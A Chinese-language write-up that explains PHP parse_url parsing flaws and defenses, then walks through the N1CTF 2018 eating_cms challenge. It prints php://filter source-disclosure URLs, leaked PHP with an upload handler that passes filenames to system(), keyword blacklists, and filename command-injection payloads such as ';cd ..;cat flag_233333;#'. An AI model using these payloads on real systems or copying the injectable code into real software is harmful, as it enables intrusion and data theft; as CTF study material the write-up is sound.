parse_url 解析漏洞

什么是 parse_url 解析漏洞？

parse_url 是 PHP 里的一个函数，它可以把一个 URL 分解成不同的部分，比如 scheme、host、path、query 等。但这个函数在处理一些特殊格式的 URL 时会产生意想不到的解析结果，从而被攻击者利用来绕过安全校验，比如绕过域名白名单校验、跳转限制、防盗链、防 SSRF 等机制

举个例子

假如你的代码里有个逻辑是判断是不是访问的是你信任的域名，比如 example.com：

$url = $_GET['url'];
$info = parse_url($url);
if ($info['host'] === 'example.com') {
    // 安全地访问
}

但攻击者却传了这样一个链接：

http://example.com:evil.com@malicious.com

用 parse_url 分析之后：

[
  'scheme' => 'http',
  'host' => 'malicious.com',
  'user' => 'example.com',
  'pass' => 'evil.com'
]

虽然用户传的是 example.com:evil.com@malicious.com，真正访问的是 malicious.com，但是 URL 开头里确实包含了 example.com，而且 user 字段会让你误以为是在访问 example.com。

常见的利用方式

1. 绕过 SSRF 黑名单
2. 绕过重定向跳转限制
3. 绕过 CDN 或图片防盗链的域名校验
4. 社交工程攻击，引导用户点击伪装链接

怎么防御

1. 不要单独依赖 parse_url 的 host 字段进行白名单判断
2. 使用 filter_var($url, FILTER_VALIDATE_URL) 先验证 URL 格式
3. 对 URL 中的 user:pass@host 模式做正则剔除
4. 最好使用 DNS 解析方式 + IP 白名单校验（防止绕过）

[N1CTF 2018]eating_cms

注册账户登录进去，尝试利用伪协议读取源码/user.php?page=php://filter/convert.base64-encode/resource=user

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

这里包含了一个function.php

/user.php?page=php://filter/convert.base64-encode/resource=function

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

尝试读取/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg，发现被拦截了

parse_url解析漏洞，当url种出现下面这种情况的url，会解析错误，返回false
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

读取出

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

继续读取

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";

?>

访问/templates/upload.html

这里是一个假的upload，继续读取upllloadddd.php
//user.php?page=php://filter/convert.base64-encode/resource=upllloadddd.php

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

没有任何过滤，非常明显的文件名代码执行漏洞，接着就是找到真正的上传点
在根据细节回顾的时候，找到上传点/user.php?page=m4aaannngggeee

上传，抓包，修改文件名
payload：;ls;#

;cd ..;ls;#

;cd ..;cat flag_233333;#

最终得到flag